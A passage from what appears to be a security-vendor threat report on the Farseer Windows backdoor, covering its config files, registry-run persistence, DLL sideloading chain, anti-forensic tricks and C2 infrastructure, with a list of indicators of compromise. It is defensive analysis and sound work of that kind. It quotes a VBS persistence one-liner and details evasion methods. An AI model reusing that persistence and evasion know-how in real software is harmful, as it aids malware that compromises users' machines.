p5=67,58,92,85,115,101,114,115,92,65,68,77,73,78,73,126,49,46,87,73,78,92,65,112,112,68,97,116,97,92,76,111,99,97,108,92,84,101,109,112,92,109,97,105,110,46,101,120,101,

p1=up.outhmail[.]com

p2=80

p4=test-04-11 

p5=C:\Users\[<i>username</i>]\AppData\Local\Temp\main.exe

[StudentInfo]

p1=117,112,46,111,117,116,104,109,97,105,108,46,99,111,109,

p2=56,48,

p4=116,101,115,116,45,48,52,45,49,49,

p5=67,58,92,85,115,101,114,115,92,65,68,77,73,78,73,126,49,46,87,73,78,92,65,112,112,68,97,116,97,92,76,111,99,97,108,92,84,101,109,112,92,109,97,105,110,46,101,120,101,

p1=up.outhmail[.]com

p2=80

p4=test-04-11

p5=C:\Users\[<i>username</i>]\AppData\Local\Temp\main.exe

The line items in the second code excerpt above are represented as follows:

p1 relates to the C2 FQDN;
p2 is the TCP port used for C2 – many variants use non-standard TCP ports;
p3 is missing;
p4 appears to be a version string of some sort, which is sent as part of the C2 communication – other variants have used strings, such as “mark”;
p5 is the full file path from where the malware was launched.

Farseer config files share some similarities with those of HenBox, as documented here and shown in Figure 7 below for convenience.

Figure 7 Screenshot of HenBox configuration file, setting.txt

Both are text files, read and parsed at run-time; more often than not, the ASCII data is obfuscated using encoding methods of varying sophistication. Perhaps the most notable similarity is the notation of the content, which in both malware families:

is delimited by an ‘=’ equals character;
uses a single character followed by a single digit starting from 1 to begin each line;
has the C2 host/FQDN on the first line;
has the TCP port to use to connect the C2 on the second line;

For persistence on the host, the Farseer malware creates a registry entry named sys under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

The entry runs the VBS script slmgr.vbs shown below, which executes bscmake.exe, and thus Farseer, each time a user logs on to their PC.

createobject("wscript.shell").run "C:\Users\[username]\AppData\Roaming\windows\bscmake.exe"

One of the earliest Farseer samples Unit 42 analysed also used a decoy PDF document during execution. The PDF content included a copied news article from a Myanmar website that reports on news in the Southeast Asia region. The file properties of said PDF, as shown below, describe the language setting of the application that created it, together with the creation date – eight days prior to the Farseer sample that used the document.

Language : zh-CN

Author : Administrator

Creator : Microsoft® Word 2013

Create Date : 2016:04:11 11:06:30+08:00

Modify Date : 2016:04:11 11:06:30+08:00

More information about this variant of Farseer, and the decoy PDF, can be found in the appendix section.

Targeting

In this case, we do not have great visibility into the targets of the Farseer malware. However, given our existing knowledge based on previous research, and around malware with closely-related infrastructure, together with certain targeting themes seen in some Farseer samples, it is highly likely that victims lay in and around the South East Asia region.

ATT&CK Techniques Observed

ID	Technique
T1140	Deobfuscate / Decode Files or Information
T1071	Standard Application Layer Protocol
T1060	Registry Run Keys / Startup Folder
T1045	Software Packing
T1073	DLL Side-Loading
T1065	Uncommonly Used Port
T1043	Commonly Used Port
T1328	Buy domain name
T1319	Obfuscate or encrypt code

Conclusion

The threat actors behind Farseer, and related malware including HenBox, continue to grow their armoury with the addition of this previously-unknown malware family. The overlapping infrastructure, shared TTPs and similarities in malicious code and configurations highlights the web of threats used to target victims in and around the South East Asia region and perhaps beyond.

Farseer payloads are backdoors that beacon to pre-configured C2 servers for instructions. The malware uses various techniques to evade detection and inhibit analysis. For example, DLL sideloading using trusted, signed executables allows the malware to execute rather seamlessly; some payloads are encrypted on disk preventing analysis, especially as decompression and decryption occurs at runtime, in-memory, where code is further altered to thwart forensic analysis.

Whereas HenBox posed a threat for devices running Android, Farseer is built to target Windows, which appears to be more typical given previous threats seen from the group or groups behind this, and related malware.

Palo Alto Networks customers are already protected via:

All samples in this report have a malicious verdict in WildFire.
Traps advanced endpoint protection detects Farseer malware.
Domains have been classified as malicious.
AutoFocus tags are available for additional context: Farseer.

Update 18th September 2019: This blog has changed to remove two references to PKPLUG as a malware family.

Appendix

The technical analysis of Farseer malware is described in this section. Table 2 below lists the samples we have chosen for our investigation. The list includes a couple of recent samples and the first Farseer sample seen, according to our data, to highlight key differences in the threat’s evolution.

#	SHA256	First Seen (Pacific Time)	Key Indicator / Domain
1	271E29FE8E23901184377AB5D0D12B40 D485F8C404AEF0BDCC4A4148CCBB1A1A	11/17/2018 10:11:16 pm	tcpdo[.]net:158
2	4AB41A025624F342DEB85D798C6D6264 A9FB88B8B3D9037CF8D5248A9F730339	04/02/2018 7:18:07 pm	honor2020[.]ga:993
3	9E08EFC73DC9145358898D2735C5F31D 45A2571663C7F4963ABD217AE979C7CA	04/19/2016 6:26:15 pm	outhmail[.]com:80

Table 2 Samples discussed in this blog

Farseer employs the known technique of DLL sideloading - the use of trusted binaries to load malicious code – to load its payload, see Figure 5. To achieve this, the malware begins by dropping known, legitimate, signed binaries to the host. These binaries, signed by Microsoft or other vendors, are typically trusted applications when checked by antivirus software or the operating system and thus do not raise any suspicious alerts. This technique takes advantage of the Windows search order for loading dependencies when a program launches. By default, the Windows loader will first look for any dependency files of the executable in its current working directory. If found, the executable will then load them into memory. With this in mind, the actors place their malicious DLL’s in the same directory as the signed executable that was dropped on disk. By naming them as dependency files of that executable, the malicious code will run whenever the executable is started.

Now that the actor has found a way to execute malicious code on the host, they use it to load their final payload, which contains the core functionality of the Farseer malware. The payload on disk is an encrypted and compressed file that most antivirus software will not flag as malicious since the underlying code is hidden. To avoid detection from users and blend with the Windows file system, the payload files themselves have innocuous or common Windows file names and extensions.

Decompression and decryption of the payload occurs only at runtime, in-memory, and the in-memory code is altered to thwart forensic analysis. This is achieved by deconstructing the import address table (IAT) and resolving necessary API calls manually versus relying on the Windows loader. In addition, it further avoids IAT reconstruction by using what is known as stolen code technique, wherein some of the instructions in the beginning of an API subroutine are emulated somewhere else in an allocated memory region. This can cause unexpected results during memory analysis as the IAT API’s cannot be resolved. We determined that the in-memory payloads are backdoors that beacon to a pre-configured command and control server (C2) for instructions.

First, bscmake.exe runs and imports mspdb80.dll, one of its dependency files. Bscmake.exe is an older Microsoft executable that is part of Visual Studio. When mspdb80.dll is loaded, it will import its dependency files, one of which is sys.dll. It should be stated that both bscmake.exe and mspdb80.dll are known, trusted files signed by Microsoft Corporation and have not been modified. Sys.dll however is the Farseer malware and is responsible for loading the encrypted file stub.bin file in-memory and begins code execution.

Figure 8 Sys.dll loading stub.bin

Figure 8 illustrates the connection between sys.dll and stub.bin. When sys.dll is loaded it will look for stub.bin in the current working directory.

C2

The most recent Farseer sample (#1, as per Table 2 above) communicates with update.tcpdo[.]net over TCP port 158. The contents of the network communications are encoded, unlike the earlier Farseer samples that used no encoding, highlighting one of many changes in the evolution of this malware. Figure 10 below highlights some of the key differences between the three samples used in the analysis for this appendix section.

Figure 9 Timeline for 3 Farseer samples in analysis; comparing notable differences

Sample #2 (SHA256: 4AB41A025...) behaves almost identically as the others but with the following differences:

Persistent VBS script renamed to common.vbs
Encoded network communications
Configuration file renamed to base.dat
Encrypted and compressed configuration file
Does not employ the use of any decoy documents

This sample, seen in early April 2018, communicates with honor2020[.]ga, which started resolving to 199.247.25[.]110 in August 2018, according to Passive Total.

Domain honor2020[.]ga bucks the trend when compared to others’ third-level domains, as per Table 1, above. From what we can tell, it has no such subdomains.

Other Farseer samples fall into the same bucket as honor2020[.]ga. That is, they have no third-level domains, or don’t match the pattern of others, and they share no overlaps to existing infrastructure whether used by Farseer or other malware families. Examples include windowsnetwork[.]org and newfacebk[.]com. The latter does share one third-level domain with the others in Table 1 but that’s where the commonality ends.

Reviewing the dozen or so domains resolving to 199.247.25[.]110, most also make use free ccTLDs from Freenom, including .tk and .ml as per the .ga in honor2020[.]ga. At this point, these domains and others resolving to this IP appear unrelated to Farseer, except for honor2020[.]ga that is connected to Farseer sample 4AB41A025.... It’s possible honor2020[.]ga was simply chosen during testing for this more recent Farseer sample but whatever the reason, it’s a change from the typically-used .com, .net and .org TLDs used by other samples.

The final sample to discuss (9E08EFC73…) as per Table 2 above, is the oldest sample we have record of in AutoFocus, seen on April 19th, 2016. In this case, a decoy PDF file is dropped and executed from the victim’s %TEMP% folder as the malware continues to execute – a behavior not seen again in other Farseer samples. The PDF has filename “Dateline Irrawaddy “Corruption Is Still Rampant Despite The Anti-Corruption Law.pdf” and file properties as shown below, describing the language setting of the application that created it, together with the creation date – eight days prior to us seeing the sample.

Language : zh-CN

Author : Administrator

Creator : Microsoft® Word 2013

Create Date : 2016:04:11 11:06:30+08:00

Modify Date : 2016:04:11 11:06:30+08:00

The content of the benign PDF (shown in Figure 10 below) appears to be a direct copy / paste from old content once posted on the Irrawaddy[.]com news website; their mission “to cover the news in Burma/Myanmar and Southeast Asia accurately and impartially.” From what we can tell, the article shown in the PDF was published on the news website sometime in early April 2016, and used as a timely and potentially very topical, social engineering theme for the attack.

Figure 10 Decoy PDF dropped by earliest version of Farseer malware

Whilst the decoy PDF is shown to the victim, Farseer continues with the execution process by first creating a Windows sub-folder within the victims C:\Users\[username]\AppData\Roaming folder and drops into it the files listed in Table 3 below.

Filename	Size in bytes	File Type / Comment
bscmake.exe	77,312	Application signed by Microsoft; used in DLL sideloading technique
mspdb80.dll	193,024	Microsoft-signed file imported by bscmake.exe
slmgr.vbs	260	Shell-executes bscmake.exe
stub.bin	71,767	Encrypted in-memory payload
sys.dat	297	Config file read by stub.bin
sys.dll	85,504	Malicious DLL loaded by benign mspdb80.dll file.

Table 3 Farseer dropped files

Indicators of Compromise:

Samples:

271e29fe8e23901184377ab5d0d12b40d485f8c404aef0bdcc4a4148ccbb1a1a

4ab41a025624f342deb85d798c6d6264a9fb88b8b3d9037cf8d5248a9f730339

8ff03c13d0a78003840b7a612e372242c7def123b4fbf5ea1780f2d70eb806a1

5a461104a2b6e313d3d0ee08c26e90db965139b1bff4a785ec297047d570340c

a999489d95e5a94f75de4695c9579ffc88bae02048838e3523f089d970a35abb

0c7e35ca1312204063319a3455ec14bc4b701de205503e63de584f28d99f0291

10bd4507eb12bebc17e216e16950bf77e56c2aad01be7033bf0d5c235f2ad6e5

d44f388842d93807c0b56399c8b7eae5b3dd76871e4908ef3d7d8a559f014fe6

24b52403ff652416c84afed7e12ece11dc59b07f7dba5f007e117a4cfc67c1ab

8890a06d3233ecf661c040ca5c03393c3afd620ccce49fbe08477bbf6b7d9b04

542b2ca4fe2d7d13fa317c58f46942cdf6eb33771bb898d7be773f8ccb50b13c

b782b4c5f8fe2ee318e50ddf985c9132bff6d48b01ea36d6825967bf89e5d0c2

c8b2232360d5d6f56cd6b1076e5e21f0d501f5cb725e0a9b32a0ab661b4c38dd

b82caa5087c6fd8ac79019185c6f8884f5dd9d0266bb7ad635277f3c7ca5c615

da02edf3f33d9801d066c1f93feef33cdedc1bc7b5605498404e8cad8015729f

1e62b7dcb503f47a6330c4dcfc49ea9d921b7d2f8c508769d27df04e61b9471d

0306585900f1b1bddc76149352f90962c365959e44a486ba3547c80d12d56e41

1e46c88420c657c685786bee88f606d494f3d50bcbc616b0f64d2886edd572f2

fd8bb808c7b16cffcb83d7e86d642b5cb6e913e22df69c8dd03ce4e7498f5fdc

f46f162ef279cc6e9c022cffe3a6685d001524e312e7a5f23bd24d76fed1fa99

6e367e10f9c0fb818394e9517ab13c1da00b2545602c23bf6ab83e93063076b8

3d47b99d34e169a8283062937c373264829cf6fe1c7fa0bacee135c392ca24bb

d11d871b07520f43437183fa44bd118c01a3c4c86cffe0cc7343ae9038565cf1

2e84de3408283423ed58764139eed4dd7e343115b943b58a46e2dc25ca2ef3c8

7d5386253d403b74e86658699f9a6d683b7ac3065c4e2cdae192b32b9ac54edb

2085fca368af15a1bd54f7809dfee7cdd4d73df7af88fa53fe5341f0523ca7ea

97c04702aaa0a9018cc46ea874e7e3644146ba4d6b3b30c78a6a6430172b13c7

4552f70d94743206489da85da2e9eb9f1eb3ad017a42edb7a60edb69e5c15a32

75ca95ae317b1e848d54bbb01798d5b61ebcaf4328b3940b5d5f644a01f1943a

f169b8d93ea27ab6ae24c26eaecc039a838bd7e74aef18c1e7a953283c418c30

c1e80458ae652dbf40981dfe33bf109d1b4c85d0affbd16c8d1df6be9e233e05

9e08efc73dc9145358898d2735c5f31d45a2571663c7f4963abd217ae979c7ca

C2s

cdncool[.]com

dns.cdncool[.]com

outhmail[.]com

up.outhmail[.]com

tcpdo[.]net

sony36[.]com

md.sony36[.]com

newfacebk[.]com

app.newfacebk[.]com

windowsnetwork[.]org

update.newfacebk[.]com

netvovo.windowsnetwork[.]org

honor2020[.]ga

update.tcpdo[.]net

adminsysteminfo[.]com

md5c[.]net

linkdatax[.]com

csip6[.]biz

adminloader[.]com

outhmail[.]com

cdncool[.]com

www3.mefound[.]com

w3.changeip[.]org

www5.zyns[.]com

108.61.197[.]172

175.45.192[.]234

199.247.25[.]110

208.115.125[.]43

43.224.33[.]130

45.125.33[.]219

45.32.108[.]11

45.32.159[.]168

45.32.24[.]39

45.32.25[.]107

45.32.251[.]7

45.32.44[.]52

45.32.53[.]250

45.76.92[.]113

Farseer Decoy Docs

06C091BB0630539DEC0D26EB6BFBF9108152E4C5AF27FF649CE84238CD88F81E - Dateline Irrawaddy “Corruption Is Still Rampant Despite The Anti-Corruption Law.pdf

7F091DA89C4412D71AE583481F91A471751A3C0E8DB0037CF31FFD00F4245B5B –New Microsoft Word 文档.doc